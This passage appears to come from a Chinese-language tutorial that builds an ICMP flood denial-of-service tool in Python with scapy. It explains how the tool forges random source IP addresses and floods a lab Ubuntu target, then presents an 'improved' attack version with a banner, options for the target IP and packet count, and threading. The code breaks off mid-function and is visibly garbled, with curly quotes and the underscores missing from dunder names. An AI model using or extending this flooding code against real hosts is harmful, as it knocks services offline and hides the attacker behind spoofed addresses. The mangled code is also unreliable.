if name == ‘main’:
main()
* 可以看到我们在代码中,使用`create_ip()`来随机生成源ip地址来伪造ip,
* 然后在`ICMP_FLOOD()`来发起攻击,在这个函数里我们构造了IP/ICMP的数据包,使用for循环来发送指定的包次。
* 最后在main()函数中调用来实现攻击。
我们本次以Ubuntu这台机器为攻击目标,IP地址是:192.168.64.140,我们通过`iftop`来监测网络流量数据
我们来看看效果:





可以看到,随着我们发的包越来越多,iftop的检测数据的条也就越来越长,相应的数据大小也有明显的变化。
**以下是改进之后的ICMP Flood DOS python代码:**
from scapy.all import *;
from scapy.layers.inet import *
from random import randint,choice
from threading import Thread
import time
data_package_number = 0
class IFD():
def init(self):
pass
def icmp_dos_log(self):
log =“”"
___ ____ __ __ ____ ____ ___ ____ options:
|_ / | / | _ \ | _ \ / _ / | --appoint ip:
| | | | |/| | |) | | | | | | | _ \ -d >> -d[objective ip]
| | || | | | __/ | || | || |) | --appoint send package number(recommend even):
|_|| ||| |/ ___/|_/ -o >> -o[number]
-------------------------------
version: v_1.1 developer: hare
-------------------------------
“”"
return log
def create_ip(self):
from ipaddress import ip_network
self.ip_pool = []
r_ip = ip_network(f"{randint(0,